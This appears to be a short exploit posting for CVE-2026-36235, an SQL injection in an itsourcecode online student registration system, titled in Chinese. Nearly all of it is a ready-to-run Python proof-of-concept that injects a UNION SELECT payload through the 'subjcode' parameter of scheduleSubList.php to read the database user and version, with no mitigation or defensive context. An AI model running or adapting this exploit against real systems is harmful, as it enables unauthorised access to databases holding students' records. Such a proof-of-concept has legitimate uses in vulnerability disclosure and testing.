CVE-2026-36235: itsourcecode在线学生注册系统SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target.com/scheduleSubList.php" # Malicious payload to extract database version using SQL Injection # The 'subjcode' parameter is vulnerable payload = "' UNION SELECT 1, user(), version(), 4-- -" params = { "subjcode": payload } try: # Send GET request with the injected parameter response = requests.get(target_url, params=params, timeout=10) # Check if request was successful if response.status_code == 200: print("[+] PoC executed successfully.") print("[+] Response content:") print(response.text[:500]) # Print first 500 chars of response else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")